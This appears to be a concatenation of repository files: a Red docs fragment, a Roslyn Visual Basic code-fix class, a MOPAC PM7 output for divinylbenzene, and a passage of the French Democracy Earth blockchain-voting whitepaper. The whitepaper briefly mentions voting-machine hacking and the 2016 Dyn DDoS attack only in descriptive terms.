- conversion not defined} typeset! {R2 - makes a block! containing the integer} unset! [throw-error 'script] url! {R2 - converts integer to string and then make url!} utype! {to be provided by user} vector! {make a vector! with a single integer value} word! [throw-error 'script] ] ]

Red

0xflotus/red

docs/to-matrix.red

' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports System.Collections.Immutable Imports System.Threading Imports Microsoft.CodeAnalysis.CodeActions Imports Microsoft.CodeAnalysis.CodeCleanup Imports Microsoft.CodeAnalysis.Editing Imports Microsoft.CodeAnalysis.Formatting Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.CodeAnalysis.VisualBasic.CodeFixes.OverloadBase Partial Friend Class OverloadBaseCodeFixProvider Private Class AddKeywordAction Inherits CodeAction Private ReadOnly _document As Document Private ReadOnly _node As SyntaxNode Private ReadOnly _title As String Private ReadOnly _modifier As SyntaxKind Public Overrides ReadOnly Property Title As String Get Return _title End Get End Property Public Overrides ReadOnly Property EquivalenceKey As String Get Return _title End Get End Property Public Sub New(document As Document, node As SyntaxNode, title As String, modifier As SyntaxKind) _document = document _node = node _title = title _modifier = modifier End Sub Protected Overrides Async Function GetChangedDocumentAsync(cancellationToken As CancellationToken) As Task(Of Document) Dim root = Await _document.GetSyntaxRootAsync(cancellationToken).ConfigureAwait(False) Dim newNode = Await GetNewNodeAsync(_document, _node, cancellationToken).ConfigureAwait(False) Dim newRoot = root.ReplaceNode(_node, newNode) Return _document.WithSyntaxRoot(newRoot) End Function Private Async Function GetNewNodeAsync(document As Document, node As SyntaxNode, cancellationToken As CancellationToken) As Task(Of SyntaxNode) Dim newNode As SyntaxNode = Nothing Dim trivia As SyntaxTriviaList = node.GetLeadingTrivia() node = node.WithoutLeadingTrivia() Dim propertyStatement = TryCast(node, PropertyStatementSyntax) If propertyStatement IsNot Nothing Then newNode = propertyStatement.AddModifiers(SyntaxFactory.Token(_modifier)) End If Dim methodStatement = TryCast(node, MethodStatementSyntax) If methodStatement IsNot Nothing Then newNode = methodStatement.AddModifiers(SyntaxFactory.Token(_modifier)) End If 'Make sure we preserve any trivia from the original node newNode = newNode.WithLeadingTrivia(trivia) 'We need to perform a cleanup on the node because AddModifiers doesn't adhere to the VB modifier ordering rules Dim cleanupService = document.GetLanguageService(Of ICodeCleanerService) If cleanupService IsNot Nothing AndAlso newNode IsNot Nothing Then newNode = Await cleanupService.CleanupAsync(newNode, ImmutableArray.Create(newNode.Span), document.Project.Solution.Workspace, cleanupService.GetDefaultProviders(), cancellationToken).ConfigureAwait(False) End If Return newNode.WithAdditionalAnnotations(Formatter.Annotation) End Function End Class End Class End Namespace

Visual Basic

Cadris/roslyn

src/Features/VisualBasic/Portable/CodeFixes/OverloadBase/OverloadBaseCodeFixProvider.AddKeywordAction.vb

SUMMARY OF PM7 CALCULATION, Site No: 6541 MOPAC2016 (Version: 16.093M) Wed Aug 17 14:28:26 2016 No. of days remaining = 229 Empirical Formula: C10 H10 = 20 atoms PM7 BFGS PRECISE dvb_gopt.out PETERS TEST WAS SATISFIED IN BFGS OPTIMIZATION SCF FIELD WAS ACHIEVED HEAT OF FORMATION = 51.24427 KCAL/MOL = 214.40602 KJ/MOL TOTAL ENERGY = -1361.97388 EV ELECTRONIC ENERGY = -6928.71660 EV CORE-CORE REPULSION = 5566.74272 EV GRADIENT NORM = 0.21545 DIPOLE = 0.00071 DEBYE POINT GROUP: C2h NO. OF FILLED LEVELS = 25 IONIZATION POTENTIAL = 8.879936 EV HOMO LUMO ENERGIES (EV) = -8.880 -0.558 MOLECULAR WEIGHT = 130.1890 COSMO AREA = 183.99 SQUARE ANGSTROMS COSMO VOLUME = 181.68 CUBIC ANGSTROMS MOLECULAR DIMENSIONS (Angstroms) Atom Atom Distance H 18 H 13 9.68471 H 20 H 7 4.70634 H 15 H 17 0.03755 SCF CALCULATIONS = 40 WALL-CLOCK TIME = 0.238 SECONDS COMPUTATION TIME = 0.370 SECONDS FINAL GEOMETRY OBTAINED PM7 BFGS PRECISE dvb_gopt.out C 0.28037282 +1 1.38002578 +1 0.00704042 +1 C -1.04213833 +1 0.92264988 +1 0.00719292 +1 C -1.31903943 +1 -0.43962722 +1 0.00710501 +1 C -0.28038699 +1 -1.38001081 +1 0.00694814 +1 C 1.04213753 +1 -0.92265055 +1 0.00704085 +1 H -1.86471072 +1 1.63635698 +1 0.00769612 +1 H -2.35485368 +1 -0.77604451 +1 0.00709252 +1 H 1.86472250 +1 -1.63638738 +1 0.00754863 +1 C -0.61480257 +1 -2.80330649 +1 0.00762941 +1 C 0.27398369 +1 -3.80089082 +1 -0.00536525 +1 H 1.34379243 +1 -3.66465697 +1 -0.01785335 +1 H -1.68742810 +1 -3.02314193 +1 0.01944890 +1 H -0.01044585 +1 -4.84234816 +1 -0.00430105 +1 C 0.61482376 +1 2.80330458 +1 0.00760383 +1 H 1.68725499 +1 3.02306080 +1 0.01952523 +1 C -0.27398275 +1 3.80089528 +1 -0.00535591 +1 H -1.34379152 +1 3.66466404 +1 -0.01793410 +1 H 0.01044312 +1 4.84234062 +1 -0.00431074 +1 C 1.31905932 +1 0.43960936 +1 0.00694846 +1 H 2.35484888 +1 0.77604842 +1 0.00695569 +1

Arc

pstjohn/cclib

data/MOPAC/basicMOPAC2016/dvb_gopt.arc

<pre> DEF: 1 Title: The Social Smart Contract Author: @DemocracyEarth. Comments-Summary: No comments yet. Status: Active Type: Paper Created: 2017-07-14 License: MIT Replaces: 0 </pre> =Le contrat social intelligent.= Une offre initiale de droits par la [http://democracy.earth Fondation Democracy Earth]. ==i. Résumé.== Dans un monde qui a réussi à globaliser les actifs financiers mais où les droits politiques restent foncièrement attachés à la notion de territoire, nous devons construire de nouveaux modèles de gouvernance démocratique qui permettent à l'humanité de collaborer et de résoudre les problèmes mondiaux urgents. La fondation Democracy Earth s'est fixé pour objectif de créer des logiciels libres et open source pour organiser des prises de décision (votations) qui ne soient pas sujettes à la corruption en s'appuyant sur la technologie blockchain, dans des organisations de toute taille, du plus local avec simplement deux personnes, au plus global en impliquant chacun d'entre nous. La répartition inégale des opportunités dans le monde, qui résulte de la confrontation perpétuelle entre les gouvernements nationaux, a conduit à l'accélération du changement climatique, à la croissance des inégalités, au terrorisme et aux migrations forcées. La fondation Democracy Earth considère que la technologie derrière le Bitcoin, qui permet la circulation de monnaie programmable sans passer par les banques centrales, et Ethereum qui supporte des contrats intelligents sans avoir besoin de tribunaux judiciaires, nécessite une nouvelle couche qui permet des votations incorruptibles au-delà des limites territoriales fixées par les États-nations. Ce réseau transnational agira conformément à la souveraineté personnelle de ses membres et protégera leurs droits fondamentaux grâce à des méthodes de cryptage des données. Dans notre ''offre initiale de droits'' (Initial Right Offering), nous offrons un ''token'' nommé «vote» qui accordera des droits de participation à chaque être humain avec pour principale fonction la prise de décision. Notre proposition introduit l'égalité induite par la cryptographie : tant qu'une personne est capable de valider son identité souveraine, elle recevra une part correspondante de ''votes'' égale à la part de chaque participant actif dans le réseau. Nous définissons un processus de ''preuve d'identité'' (Proof of Idendity) qui permet d'éviter l'intervention d'une autorité centrale en introduisant le concept de ''minage d'attention'' qui incite les participants à renforcer la confiance des ''votes'' en effectuant des tests simples visant à détecter les ''replicants'' (doublons). Finalement, les ''votes'' sont distribués aux participants valides selon un mécanisme de revenu de base universel dans le but de trouver un équilibre adéquat dans la tension historique entre l'argent et la politique. Nous ne voulons rien de moins qu'une véritable gouvernance démocratique pour l'ère d'Internet, que nous considérons comme l'un des éléments fondamentaux pour parvenir à une paix et à une prospérité globales, rendues possible par les vagues d'innovations technologiques qui changeront ce que cela signifie d'être humain sur Terre. ==ii. Contenus.== Ce texte est structuré en trois parties, chacune visant à satisfaire un type de lecteur différent (tous les types pouvant se retrouver dans le même profil). * [[#Manifesto|Manifeste]]: Pour les idéalistes. Fait le diagnostic du contexte politique mondial et plaide pour un changement de paradigme. * [[#Paper|Article]]: Pour les bâtisseurs. Décrit les fondations d'un système qui peut être mis en œuvre par n'importe qui, n'importe où. * [[#Execution|Exécution]]: Pour les pragmatiques. Explique comment mettre en oeuvre ces idées pour avoir de l'impact. Notre intention est que ce texte évolue. Il est publié sous une licence open source et nous accueillons toutes les contributions dans la mesure où notre objectif est que ce document constitue une feuille de route vivante pour une gouvernance mondiale. La démocratie comme capacité à se faire mutuellement confiance dans la mesure du possible est un facteur clé qui façonne la trajectoire de l'histoire. Notre mission résonne instamment de par le monde, englobant ainsi toute l'humanité: la nécessité de faire de notre Maison un lieu de coexistence pacifique. La [http://democracy.earth Fondation Democracy Earth] a mené des [[#Background|recherches approfondies]] sur les systèmes électoraux, la cyberpolitique et les réseaux blockchain ; nous nous tenons ainsi à l'avant-garde d'une conversation publique concernant l'idée de considérer l'internet comme une nouvelle juridiction planétaire. En suivant [https://twitter.com/lsukernik/status/892101885771034628 l'exemple de Satoshi Nakamoto], nous avons d'abord entrepris d'écrire du code informatique avant de partager nos idées sous forme écrite, afin de comprendre au mieux ce qui peut être fait. À cette fin, plus de [https://github.com/DemocracyEarth/sovereign 30 000 lignes de code ont été écrites depuis octobre 2015], lesquelles ont à leur tour guidé nos recherches, cas d'utilisation, et les idées présentées ici. Ceci constitue notre proposition. <div id="Eléments de contexte"></div> ==iii. Eléments de contexte.== En créant les plus importants logiciels de démocratie open source [https://github.com/search?utf8=%E2%9C%93&q=topic%3Ademocracy&type=Repositories (considérés comme tels par la Communauté de GitHub)] nous avons été les pionniers de la démocratie numérique. Nous sommes notamment à l'origine de la conception originale de [https://www.youtube.com/watch?v=qNCgfd7dNb0 DemocracyOS], un projet de démocratie directe simple que nous avons créé en 2012. Nous avons fondé le premier parti politique numérique du continent Américain, le [http://partidodelared.org Partido de la Red] (Parti du Réseau) qui s'est présenté aux suffrages pour la première fois à [http://www.wired.co.uk/article/e-voting Buenos Aires] en 2013. En 2014, nous avons partagé notre expérience avec 1,2 millions de téléspectateurs grâce à la plateforme [https://www.ted.com/talks/pia_mancini_how_to_upgrade_democracy_for_the_internet_era TED]. En 2015 et 2016, [http://ycombinator.com Y Combinator] et [http://ffwd.org Fast Forward] de la Silicon Valley ont financé nos efforts pour lancer la [http://democracy.earth Democracy Earth Foundation], une organisation à but non lucratif engagée dans la promotion de la gouvernance au-delà des frontières. Notre expérience, qui conjugue les enjeux politiques et technologiques de la démocratie, nous a amenés à réfléchir aux modalités de conception d'un parti politique en utilisant des contrats intelligents, ou plutôt une forme peu contraignante de gouvernance qui peut être mise en œuvre par n'importe qui et à faible coût. Nous nous sommes donc attelés à la mise au point de [http://sovereign.software Sovereign], une '''''solution de démocratie liquide basée sur les blockchains''''' qui permet d'organiser des votes directs et qui offre également la possibilité de déléguer le vote sur des sujets spécifiques à des pairs grâce à un réseau sécurisé sans autorité centrale. En opérant avec des tokens signalés sur une blockchain, tous les votes deviennent résistants à la censure et des droits d'audit immédiats peuvent être accordés à tous les électeurs sans avoir besoin d'autoriser l'accès aux serveurs ou à des infrastructures privées. Le système est par conséquent ouvert et transparent pour tous. travail repose sur le développement de logiciels open source et nous coopérons avec des projets clés visant à sécuriser l'identité dans des environnements décentralisés, dont [https://blockstack.org/blockstack_usenix16.pdf Blockstack], [http://civic.com Civic] et [https://whitepaper.uport.me/uPort_whitepaper_DRAFT20170221.pdf Consensys] entre autres. [[File:/images/sovereign.png|Sovereign.]] [https://github.com/DemocracyEarth/sovereign La base du code de Sovereign] offre aux électeurs et aux organisations une application pour mobile et ordinateur évolutive qui normalise la prise de décision incorruptible dans un système démocratique basé sur les blocs. Notre objectif est de continuer à ouvrir la voie au recours à [https://www.usenix.org/legacy/event/sec08/tech/full_papers/adida/adida.pdf des systèmes de vote cryptographiques audibles par tous] et d'intégrer notre logiciel avec des blockchains capables de garantir les droits souverains des utilisateurs. ---- <div id="Manifesto"></div> ==1. Manifeste.== <blockquote> La démocratie est par définition une oeuvre inachevée. Si elle était une idée absolue, elle ne serait qu'une idéologie totalitaire parmi tant d'autres. </blockquote> '''[https://en.wikipedia.org/wiki/Jos%C3%A9_Mujica José Mujica]''', Président de l'Uruguay (2010–2015). Les systèmes démocratiques actuellement en vigueur dans les sociétés vivant dans les contours des États-nations ont atteint un plateau en termes de participation et évoluent vers une polarisation accrue. Les électeurs sucent le lait de médias faits à leur image qui les confortent dans leurs croyances de groupe et disloquent l'unité sociale en remplaçant le discours et le débat fondé sur des faits par une mentalité de la post-vérité. Ceci résulte de l'essor considérable des canaux de communication qui ont réduit les capacités d'attention à un point tel que l'analyse réfléchie n'a plus sa place. Au XXe siècle, la gestion centralisée de l'information avait créé des récits, des réalités et des identités uniformes.L'Internet les a fracturés. Les instances de participation politique aux démocraties dites «modernes» ne sont pas adaptés à des contextes où l'information abonde. Malheureusement, ces instances n'ont pas évolué depuis leur création. [[File:/images/bipartisan-votes-us-congress.png|Bipartisan votes in the U.S. House of Representatives since 1981, source: The Rise of Partisanship (2015).]] Les formes d'engagement traditionnelles ont moins d'écho chez les jeunes générations, [http://www.economist.com/news/essays/21596796-democracy-was-most-successful-political-idea-20th-century-why-has-it-run-trouble-and-what-can-be-do qui s'abstiennent souvent de voter et qui sont peu susceptibles de s'engager dans un parti]. L'implication politique en ligne se développe en parallèle, et les réseaux sociaux sont de plus en plus le théâtre principal des affrontements politiques. Parmi ces réseaux, on retrouve Facebook and Twitter (sur lesquels la diffusion de rumeurs est monnaie courante, avec le recours aux fake news, aux bots et au trolling, notamment) et des caisses de résonance nouvelles comme 4chan.org, où l'anonymat encourage le politiquement incorrect ou encore gab.ai, refuge de l'extrême droite américaine. Cela va sans dire, l'endogamie vient encore renforcer la polarisation, et nos sociétés tribalisées ont tendance à relativiser la vérité, ce qui met en péril la préservation des ressources et la survie des générations futures. Les processus démocratiques à l'œuvre lors d'élections à haut risque sont menacés par des comportements frauduleux,[https://en.wikipedia.org/wiki/Gerrymandering ''les truquages électoraux''] sont courants et l'on observe un lien étroit [https://www.ineteconomics.org/uploads/papers/WP_48_Ferguson_et_al.pdf entre les dépenses des principaux partis et leurs scores]. Dans les pays en développement, on voit parfois de grands partis aller jusqu'à brûler des urnes électorales pour étouffer les chances des candidats plus modestes. Ce document propose une solution aux problèmes à la fois politiques et techniques qui affaiblissent actuellement les perspectives de la démocratie dans le monde. Cette solution prend la forme d'une alternative qui peut être adoptée directement par les citoyens et mise en œuvre par le biais de réseaux peer-to-peer. Alors qu'internet s'affirme comme la force dominante de la politique moderne, nous estimons indispensable de développer des technologies de vote numérique susceptibles d'être déployées de manière sécurisée quel que soit le lieu ou la taille de la population concernée. Plus de [http://www.bbc.com/news/technology-32884867 3 milliards de personnes] ont désormais accès à internet (c'est bien davantage que le nombre de fidèles des principales religions ou les populations des grands États-nations). Avec le développement de réseaux cryptés connus sous le nom de blockchains, qui permettent d'opérer des transactions incorruptibles avec des audits sans autorisation, rien n'empêche plus l'humanité de construire des espaces communs au-delà des frontières, et de contribuer ainsi à façonner la procaine grande évolution de la gouvernance démocratique à n'importe quelle échelle. Même dans les régions où la pénétration de l'Internet est inférieure à 50 %, la fracture numérique n'est pas basée sur des facteurs socio-économiques, mais plutôt sur un écart générationnel. Selon Rick Falkvinge, fondateur du [https://en.wikipedia.org/wiki/Pirate_Party Parti Pirate], « L'évolution politique se fait à des vitesses glaciaires : rien ne semble se produire jusqu'à ce que soudain, un énorme vacarme n'attire l'attention de tous. L'évolution est lente car il faut souvent qu'une génération disparaisse pour que la prochaine prenne le relais. Or nous vivons dans un monde où la génération hors-ligne occupe le pouvoir tandis que la génération en ligne grandit. » Les nouvelles formes de gouvernance doivent reconnaître les réseaux d'espaces communs qui relient l'humanité et affaiblissent progressivement les traditionnelles frontières nationales incapables par nature d'aborder des problèmes mondiaux pressants tels que le changement climatique, l'inégalité croissante, le terrorisme, l'automatisation et les migrations forcées. Les inégalités dans le monde, causées par la confrontation perpétuelle des gouvernements nationaux, donnent à ces questions une place de plus en plus prépondérante dans les priorités internationales. Nous pensons que la pile technologique qui comprend [http://bitcoin.com/bitcoin.pdf le Bitcoin] comme monnaie programmable indépendante des banques centrales, et [http://ethdocs.org/en/latest/index.html Ethereum ]qui permet de conclure des contrats intelligents sans passer par l'autorité judiciaire exige l'avènement d'une nouvelle strate démocratique permettant un vote incorruptible au-delà des limites des États-nations. Ce réseau transnational agira en fonction de la souveraineté personnelle de ses membres et protégera leurs droits humains grâce au cryptage. ===1.1 Héritage.=== On peut considérer que les élections organisées par les états, les provinces et les municipalités sont des démocraties qui nous réduisent au rôle passif de récipiendaires d'un monologue. Les citoyens sont appelés, à des intervalles relativement longs, à apporter une contribution de base à travers leur vote. Il s'agit essentiellement d'adouber ou de désavouer les représentants d'un même système. C'est la pierre angulaire du système que nous ont légué nos prétendues ''démocraties modernes''. Ces règles du jeu n'accordent qu'à moins d'un pour cent de la population le pouvoir de voter les lois ou d'exécuter les budgets tandis que les autres sont juridiquement contraints d'externaliser leurs droits de citoyenneté complète à une minorité représentative qui cède tôt ou tard aux sirènes de l'auto-perpétuation. La technologie qui sous-tend les ''démocraties représentatives'' se subdivise en deux ensembles : * '''Les élections analogiques''': le plus souvent, des bulletins papier et des urnes fournies par des autorités chargées de compter les votes et de signaler les comportements frauduleux. Même si ces systèmes sont stables dans les pays développés, ils souffrent d'une grave carence en termes de participation. Des exigences, telles que l'obligation de s'inscrire pour voter selon une procédure excessivement bureaucratique peuvent finir par bloquer un grand nombre d'électeurs privés de droits. Les autorités découpent également les circonscriptions en prévision des résultats électoraux en exploitant de façon frauduleuse les données d'enquête. Bien que ces systèmes soient plus faciles à contrôler, le corollaire est qu'ils sont également plus faciles à corrompre : dans les pays en développement, les ''élections analogiques'' peuvent être dévoyées par des masses représentant de grands partis qui brûlent ou font disparaître des urnes, menaçant les scrutateurs des plus petits candidats et laissant la violence embraser les circonscriptions clef. Notre expérience avec le [http://partidodelared.org Partido de la Red], lors des élections pour le Congrès de la ville de Buenos Aires en 2013, nous a permis de découvrir qu'aucun effort n'était plus important que de déployer suffisamment de scrutateurs pour couvrir tous les districts de la ville, faute de quoi des votes pouvaient être volés. Plus le territoire concerné par l'élection est vaste, moins le système analogique peut garantir un processus équitable. En outre, les coûts d'organisation élevés finissent par limiter les élections à une poignée de jours par an (et encore), ce qui fait de la démocratie une exception plutôt qu'une norme dans le processus de désignation des décideurs. De plus, les élections traditionnelles analogiques sont semblables à des oléoducs : les votes y transitent des mains de l'électeur jusqu'à un serveur central. Dans cet oléoduc, les voix exprimées lors de chaque scrutin sont résumées manuellement sur un document papier, qui est ensuite scanné et transmis à un bureau central. Là, les feuilles reçues sont chargées manuellement dans un serveur final qui calcule le nombre de voix. Tout le long de ce processus, les votes sont traités par différents acteurs humains qui peuvent les modifier, intentionnellement ou non, et entraîner une fraude. L'élection électronique vise à écourter cet oléoduc afin qu'aucun humain ne soit en mesure de manipuler les votes : les électeurs interagissent avec un dispositif (par exemple, une machine de vote électronique) qui transmet les votes chiffrés à un serveur central ou à un chef partagé (i.e. une blockchain). [[File:/images/nation-state-voter-turnout.png|Territorial voting.]] * '''Le vote électronique''': des solutions basées sur les machines de vote électronique qui visent à sécuriser le processus par une interface numérique, mais dans une même logique de rareté des élections. La nouvelle technologie est de fait mise au service des mêmes objectifs que l'ancien système, à savoir la légitimation des professionnels de la politique. Les machines peuvent contribuer efficacement à éviter le recours à des [https://en.wikipedia.org/wiki/Clientelism techniques clientélistes] pour corrompre une élection, mais elles offrent un nouveau talon d'Achille en exposant les scrutins au risque de piratages ou d'interventions étrangères non détectés. Des experts de ce domaine ([https://www.ndi.org/e-voting-guide/examples/constitutionality-of-electronic-voting-germany dont la Cour Suprême allemande]) recommandent d’utiliser des machines de vote électroniques qui laissent une trace papier [https://www.amazon.com/Voting-Wars-Florida-Election-Meltdown/dp/0300198248 ou tout autre moyen] qui permette la constitution de preuves. Un autre moyen de sécuriser les systèmes de vote et d'en assurer la transparence passe par les tentatives de faire fonctionner les machines à voter en [https://www.nytimes.com/2017/08/03/opinion/open-source-software-hacker-voting.html open source et de les rendre contrôlables par le public.] La technologie peut également être introduite directement par les citoyens à l'aide d'applications pour smartphones qui permettent de réaliser un comptage parallèle des résultats en faisant remonter les résultats partiels des différents bureaux de vote. C'est une méthode qui peut servir de garantie face aux rapports officiels. De par leur nature même, les systèmes informatiques conservent des journaux de données et ne peuvent garantir le secret du vote. Pour cette raison, tout enregistrement d'un système de vote numérique devrait être public par défaut et basé sur la confiance. Le système devrait fonctionner avec un registre partagé qui synchronise les résultats d'un réseau partagé. En bref, une blockchain. Les élections traditionnelles analogiques et électroniques sont strictement réservées aux démocraties représentatives à long terme avec des périodes électives de 4 à 6 ans. La dynamique sous-jacente de ces systèmes est toutefois que les représentants sont pré-élus par l'élite et présentés aux citoyens qui doivent sanctionner leur légitimité par le vote. L'argument selon lequel les citoyens n'ont ni les connaissances ni les compétences nécessaires pour s'acquitter de la responsabilité politique et que leur vie quotidienne ne leur laisse pas suffisamment de temps pour s'engager dans la vie publique ne tient pas : les élus ont plus souvent qu'à leur tour besoin de consulter des experts dans des domaines spécifiques pour accomplir leur tâche législative. De plus, grâce à Internet, aux téléphones portables, aux réseaux sociaux et aux satellites, nous vivons sans conteste dans un monde fourmillant de citoyens qui s'engagent régulièrement dans le débat politique (bien que leurs chances de peser sur les décisions soit nulles.) ===1.2 Geopolitics.=== A consequence of the US Presidential Election of 2016 is that the [https://www.theguardian.com/us-news/2016/dec/16/qa-russian-hackers-vladimir-putin-donald-trump-us-presidential-election fear of foreign intervention] has become a leading threat to the security of electoral processes. But although voting machines are an extremely vulnerable target, ([https://blog.horner.tj/post/hacking-voting-machines-def-con-25 defcon 25 had a large selection of voting machines, all of them were exploited]) foreign attacks have a simpler method than hijacking voting machines because directly manipulating votes potentially can be traced, is very expensive, and difficult to execute on a scale large enough to satisfy an attacker. A more efficient approach is [https://en.wikipedia.org/wiki/2016_Dyn_cyberattack instilling public fear by collapsing internet infrastructure days prior to an election] in a way that can help push favoritism on a candidate that is perceived stronger than the other one. This kind of cyberattack able to trigger a shift in voter perception is nearly impossible to trace as political subversion and reveals the inherent conflict that a digital commons has with territorial democracies. [[File:/images/hacked-america.png|Impact of DNS cyberattack (October 21, 2016) & Presidential Election (November 6, 2016).]] This happened two weeks before the US 2016 election when a botnet coordinated through a large number of Internet of Things (IoT) devices executed a [https://en.wikipedia.org/wiki/Denial-of-service_attack#Distributed_DoS Distributed Denial of Service (DDoS) attack] that affected Domain Name System (DNS) provider Dyn Inc. bringing down major websites in the US including Amazon, Paypal, New York Times and Wall Street Journal among many others. ===1.3 Terre ferme vs. Cloud.=== <blockquote> Dans un avenir proche, les électrons et la lumière circulent librement, et les réseaux informatiques d'entreprise éclipsent les étoiles. En dépit de grands progrès informatiques, les pays et la race ne sont pas encore obsolètes... </blockquote> [http://www.imdb.com/title/tt0113568/ '''''Ghost in the shell'''''], roman graphique (1995). Le 21ème est le théâtre d'un conflit croissant entre ''la Terre Ferme'' - des gouvernements qui monopolisent le droit sur des juridictions territoriales en limitant la libre circulation des biens et des personnes ; et ''le Cloud'' - des sociétés internationales qui monopolisent l'accès aux données des utilisateurs afin de pouvoir les suivre et les cibler via une publicité personnalisée. Dans ce monde, la liberté est une illusion. Nos corps appartiennent aux gouvernements, nos esprits aux entreprises. Parmi les grandes batailles de ce conflit on pourrait citer [https://en.wikipedia.org/wiki/FBI%E2%80%93Apple_encryption_dispute ''l'affaire Apple contre le FBI''] portant sur l'accès aux données d'un téléphone chiffré, ou bien l'antagonisme historique entre [https://www.washingtonpost.com/news/the-switch/wp/2017/03/06/trumps-new-travel-ban-raises-the-same-silicon-valley-objections/?utm_term=.0854c54536d6 une Silicon Valley cosmopolite demandeuse de visas souples et Washington, poursuivant une politique nationaliste de multiplication des entraves à la migration]. Dans ce scénario, le cryptage joue un rôle de plus en plus essentiel dans la protection des droits de l'homme des citoyens numériques, car il peut les aider à se délivrer du piège de la ''dichotomie entre cloud et terre ferme.'' [[File:/images/the-land.png|The land: monopolies on force.]] Les origines de la cryptographie moderne remontent à la Seconde Guerre mondiale avec la mise au point par Alan Turing des premiers proto-ordinateurs servant à décrypter les messages nazis. Depuis lors, les États-Unis ont légiféré sur le cryptage de la même manière que pour les armes traditionnelles : il est inscrit sur la ''Liste des Munitions'' du[https://www.pmddtc.state.gov/regulations_laws/itar.html Règlement relatif au trafic international d'armes], et les logiciels et matériels connexes font face à des restrictions à l’exportation. Et bien que le cryptage soit souvent considéré comme un droit protégé par le Premier Amendement en vertu du fait que « le code est un discours », son caractère défensif le place sous la protection du Deuxième Amendement puisqu'il relève du même raisonnement que le « droit à porter des armes ». En effet, dans un monde où [http://twitter.com/Snowden les donneurs d'alerte] révèlent de quelle façon le ''Deep State'' espionne les citoyens aux quatre coins du monde, le chiffrement de l'information est la seule garantie réaliste disponible pour se protéger contre les abus du gouvernement (et des sociétés qui les soutiennent). [[File:/images/the-cloud.png|The cloud: monopolies on data.]] Le secret est une condition sine qua non pour la tenue d'élections libres et équitables car il s'agit d'un mécanisme qui contribue à éviter que ceux qui détiennent le pouvoir n'exercent des pressions, et qui contrecarre le risque d'achat et de vente de voix. La protection de la vie privée est la meilleure garantie pour qu'un esprit libre et conscient réfléchisse par lui-même. Mais la protection de la vie privée est illusoire sur l'internet d'aujourd'hui lorsque l'on utilise Facebook, Google ou tout autre service basé sur le Web. Bien que les géants d'Internet se targuent d'être les gardiens de la vie privée en ligne, en théorie Facebook peut encore se faire passer pour l'un de ses 2 milliards d'utilisateurs s'il le souhaite. Google et Facebook détiennent les plus grandes bases de données d'identité dans le monde, surpassant les gouvernements de l'Inde et de la Chine, alors que [https://twitter.com/AdrianChen/status/832452637320556544 97% de leurs revenus déclarés proviennent de la publicité], qui conditionne très largement l’expérience des utilisateurs de leur technologie. Il est dans leur intérêt de recueillir autant d'informations que possible pour profiler les utilisateurs et rester compétitifs. Les deux sociétés filtrent les informations fournies aux utilisateurs à l'aide [https://medium.com/@piamancini/future-scenarios-for-algorithmic-accountability-and-governance-17cd436d22a0 d'algorithmes qui ne rendent de comptes] à personne, sauf à leur propre conseil d'administration. Aucun de leurs services n'est vraiment gratuit. En réalité, la souveraineté personnelle est abandonnée grâce à la même illusion que celle présentée aux Indiens d'Amérique dont l'attention, il y a 500 ans, a été détournée par la contemplation de leur ''selfies'' dans de brillants miroirs tandis que les conquistadors Européens balayaient en un clin d'oeil leur mode de vie tout entier. Les débats non censurés, libres et souverains sur l'avenir de l'humanité sont éclipsés par d'inutiles ''likes'' qui ne font que contribuer à perpétuer ces entités. L'exploitation de ''fake news'' (comme lors des élections américaines) ou la diffusion incontrôlée de contenus critiques (comme pendant le ''Printemps Arabe'') atteste que tout effort pour empêcher les influences internationales de peser sur la politique nationale est futile car les sociétés passent la plupart de leur temps en ligne. Internet est incompatible avec les États-nations. ===1.4 Intelligence.=== <blockquote> Je ne peux pas te laisser faire ça, Dave. </blockquote> '''HAL 9000''' dans ''2001: Odyssée de l’espace'' (1968). La meilleure technologie civique est la technologie que l'on utilise tous les jours. Facebook, Twitter et d'autres plateformes de médias sociaux sont d'ores et déjà devenues, par procuration, les principales interfaces que les citoyens utilisent pour influencer la politique quotidienne. Mais les conséquences invisibles de la diffusion de données personnelles par des services web centralisés peuvent être nombreuses et ont des répercussions qui intéressent l'avenir de l'humanité. Il est fondamental de comprendre l'architecture de l'information - la façon dont les données personnelles sont stockées, partagées et monétisées - pour comprendre la souveraineté au 21ème siècle. L'utilisation sans restriction de l'intelligence artificielle (IA) alimentée par le contenu généré par les utilisateurs sans aucun type de supervision publique constitue une menace imminente. Les révélations d'un ancien employé de Blackwater sur la façon dont les données peuvent être transformées en armes en constituent une preuve patente. Il a pu, à partir d'un bureau à Dubaï, piloter et obtenir des informations en direct d'un drone volant au-dessus de la Syrie ou du Pakistan. Étonnamment, la décision d'abattre la cible n'a pas été prise par l'opérateur humain (ou par la hiérarchie), mais par une IA qui a pris les décisions en ligne "au moins 90 % du temps". Cette IA avait été fournie par une société de la Silicon Valley souvent citée pour avoir fourni des services de renseignement à la CIA et avoir localisé Oussama Ben Laden en 2011. Le fait qu'une intelligence artificielle puisse décider de vies humaines pose des questions éthiques et morales. Même les chercheurs humains ne sont pas véritablement capables de comprendre comment l'intelligence artificielle se comporte, d'où la menace potentielle si elle devient élément clef de la technologie militaire. Selon Yuval Noah Harari, « l'intelligence se détache des organismes vivants et elle ne sera plus longtemps l'apanage d'êtres de chair et de sang ». La nouvelle frontière politique qui se dessine est donc la conscience, qui distingue les machines des humains. En d'autres termes, il s'agit de comprendre si nous utilisons les machines ou si les machines nous utilisent. La façon dont nous structurons les organisations humaines - et administrons le code qui les sous-tend - définit qui est à la manœuvre. À mesure que les capacités de l'intelligence du silicium rattrapent les taux de croissance de la loi de Moore, l'humanité dans son ensemble doit se demander comment elle va assumer cette puissance sans précédent. ===1.5 Décentralisation.=== <blockquote> Est souverain celui qui décide de l'exception. </blockquote> [https://wikipedia.org/wiki/Carl_Schmitt '''Carl Schmitt'''], théoricien politique (1888-1985). Le talon d'Achille des géants d'internet insatiables en données et avides d'attention est leur besoin d'une architecture d'information centralisée. Ils se sont affirmés comme des ''superhubs'' dans ce qui était alors la promesse d'un réseau en toile d'araignée, en déployant des solutions efficaces pour répondre aux principales utilisations en ligne. Il en a néanmoins découlé un écosystème privatisé. Le code est verrouillé, les jardins sont fortifiés et la centralisation du pouvoir entre quelques mains a ouvert la voie à l'avènement d'une véritable [https://youtu.be/IrSn3zx2GbM?t=10m34s société de la surveillance] plutôt qu’à ce qui pourrait être un territoire commun sans frontières. Sir Tim Berners-Lee, créateur des protocoles ''world wide web'', conscient des risques intrinsèques que l'on observe sur Internet aujourd'hui, avait insisté sur la nécessité de 